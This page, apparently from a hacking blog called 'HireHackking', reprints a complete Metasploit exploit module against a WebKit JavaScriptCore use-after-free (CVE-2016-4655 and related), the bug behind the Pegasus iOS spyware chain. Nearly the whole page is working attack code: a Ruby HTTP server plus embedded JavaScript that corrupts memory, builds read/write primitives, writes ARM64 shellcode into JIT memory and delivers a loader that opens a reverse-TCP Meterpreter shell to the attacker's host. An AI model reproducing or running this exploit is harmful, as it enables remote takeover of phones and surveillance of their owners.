Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863563689

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WebKit not_number defineProperties UAF',
      'Description'    => %q{
          This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'qwertyoruiop', # jbme.qwertyoruiop.com
        'siguza',       # PhoenixNonce
        'tihmstar',     # PhoenixNonce
        'timwr',        # metasploit integration
        ],
      'References'     => [
          ['CVE', '2016-4655'],
          ['CVE', '2016-4656'],
          ['CVE', '2016-4657'],
          ['BID', '92651'],
          ['BID', '92652'],
          ['BID', '92653'],
          ['URL', 'https://blog.lookout.com/trident-pegasus'],
          ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
          ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
          ['URL', 'https://github.com/Siguza/PhoenixNonce'],
          ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
          ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
        ],
      'Arch'           => ARCH_AARCH64,
      'Platform'       => 'apple_ios',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => 'Aug 25 2016'))
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
      ])
  end

  def on_request_uri(cli, request)
    print_status("Request from #{request['User-Agent']}")
    if request.uri =~ %r{/loader$}
      print_good("Target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/exploit$}
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, payload_url.length] = payload_url
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent exploit (#{loader_data.size} bytes)")
      return
    end
    html = %Q^
<html>
<body>
<script>
 function load_binary_resource(url) {
   var req = new XMLHttpRequest();
   req.open('GET', url, false);
   req.overrideMimeType('text/plain; charset=x-user-defined');
   req.send(null);
   return req.responseText;
 }
 var mem0 = 0;
 var mem1 = 0;
 var mem2 = 0;

 function read4(addr) {
  mem0[4] = addr;
  var ret = mem2[0];
  mem0[4] = mem1;
  return ret;
 }

 function write4(addr, val) {
  mem0[4] = addr;
  mem2[0] = val;
  mem0[4] = mem1;
 }
 filestream = load_binary_resource("exploit")
 var shll = new Uint32Array(filestream.length / 4);
 for (var i = 0; i < filestream.length;) {
  var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
  shll[i / 4] = word;
  i += 4;
 }
 _dview = null;
 function u2d(low, hi) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0);
 }
 var pressure = new Array(100);
 var bufs = new Array(10000);
 dgc = function() {
  for (var i = 0; i < pressure.length; i++) {
   pressure[i] = new Uint32Array(0x10000);
  }
  for (var i = 0; i < pressure.length; i++) {
   pressure[i] = 0;
  }
 }

 function swag() {
  if (bufs[0]) return;
  for (var i = 0; i < 4; i++) {
    dgc();
  }
  for (i = 0; i < bufs.length; i++) {
   bufs[i] = new Uint32Array(0x100 * 2)
   for (k = 0; k < bufs[i].length;) {
    bufs[i][k++] = 0x41414141;
    bufs[i][k++] = 0xffff0000;
   }
  }
 }
 var trycatch = "";
 for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
 var fc = new Function(trycatch);
 var fcp = 0;
 var smsh = new Uint32Array(0x10)

 function smashed(stl) {
  document.body.innerHTML = "";
  var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
  write4(jitf, 0xd28024d0);         //movz x16, 0x126
  write4(jitf + 4, 0x58000060);     //ldr x0, 0x100007ee4
  write4(jitf + 8, 0xd4001001);     //svc 80
  write4(jitf + 12, 0xd65f03c0);    //ret
  write4(jitf + 16, jitf + 0x20);
  write4(jitf + 20, 1);
  fc();
  var dyncache = read4(jitf + 0x20);
  var dyncachev = read4(jitf + 0x20);
  var go = 1;
  while (go) {
   if (read4(dyncache) == 0xfeedfacf) {
    for (i = 0; i < 0x1000 / 4; i++) {
     if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
     {
      go = 0;
      break;
     }
    }
   }
   dyncache += 0x1000;
  }
  dyncache -= 0x1000;
  var bss = [];
  var bss_size = [];
  for (i = 0; i < 0x1000 / 4; i++) {
   if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
    bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
    bss_size.push(read4(dyncache + i * 4 + (0x28)));
   }
  }
  var shc = jitf;
  var filestream = load_binary_resource("loader")
  for (var i = 0; i < filestream.length;) {
   var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
   write4(shc, word);
   shc += 4;
   i += 4;
  }
  jitf &= ~0x3FFF;
  jitf += 0x8000;
  write4(shc, jitf);
  write4(shc + 4, 1);
  // copy macho
  for (var i = 0; i < shll.length; i++) {
   write4(jitf + i * 4, shll[i]);
  }
  for (var i = 0; i < bss.length; i++) {
   for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
    write4(bss[i] + k * 4, 0);
   }
  }
  fc();
 }

 function go_() {
  if (smsh.length != 0x10) {
   smashed();
   return;
  }
  dgc();
  var arr = new Array(0x100);
  var yolo = new ArrayBuffer(0x1000);
  arr[0] = yolo;
  arr[1] = 0x13371337;
  var not_number = {};
  not_number.toString = function() {
   arr = null;
   props["stale"]["value"] = null;
   swag();
   return 10;
  };
  var props = {
   p0: {
    value: 0
   },
   p1: {
    value: 1
   },
   p2: {
    value: 2
   },
   p3: {
    value: 3
   },
   p4: {
    value: 4
   },
   p5: {
    value: 5
   },
   p6: {
    value: 6
   },
   p7: {
    value: 7
   },
   p8: {
    value: 8
   },
   length: {
    value: not_number
   },
   stale: {
    value: arr
   },
   after: {
    value: 666
   }
  };
  var target = [];
  var stale = 0;
  Object.defineProperties(target, props);
  stale = target.stale;
  stale[0] += 0x101;
  stale[1] = {}
  for (var z = 0; z < 0x1000; z++) fc();
  for (i = 0; i < bufs.length; i++) {
   for (k = 0; k < bufs[0].length; k++) {
    if (bufs[i][k] == 0x41414242) {
     stale[0] = fc;
     fcp = bufs[i][k];
     stale[0] = {
      'a': u2d(105, 0),
      'b': u2d(0, 0),
      'c': smsh,
      'd': u2d(0x100, 0)
     }
     stale[1] = stale[0]
     bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
     bck = stale[0][4];
     stale[0][4] = 0; // address, low 32 bits
     // stale[0][5] = 1; // address, high 32 bits == 0x100000000
     stale[0][6] = 0xffffffff;
     mem0 = stale[0];
     mem1 = bck;
     mem2 = smsh;
     bufs.push(stale)
     if (smsh.length != 0x10) {
      smashed(stale[0]);
     }
     return;
    }
   }
  }
  setTimeout(function() {
    document.location.reload();
  }, 2000);
 }

dgc();
setTimeout(go_, 200);
</script>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end